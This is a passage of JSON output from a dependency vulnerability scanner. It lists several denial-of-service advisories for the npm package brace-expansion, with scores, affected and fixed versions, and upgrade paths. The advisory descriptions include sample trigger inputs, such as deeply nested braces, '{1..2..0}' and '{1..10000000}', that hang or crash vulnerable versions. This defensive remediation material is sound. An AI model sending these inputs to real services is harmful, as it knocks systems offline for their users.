"CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", 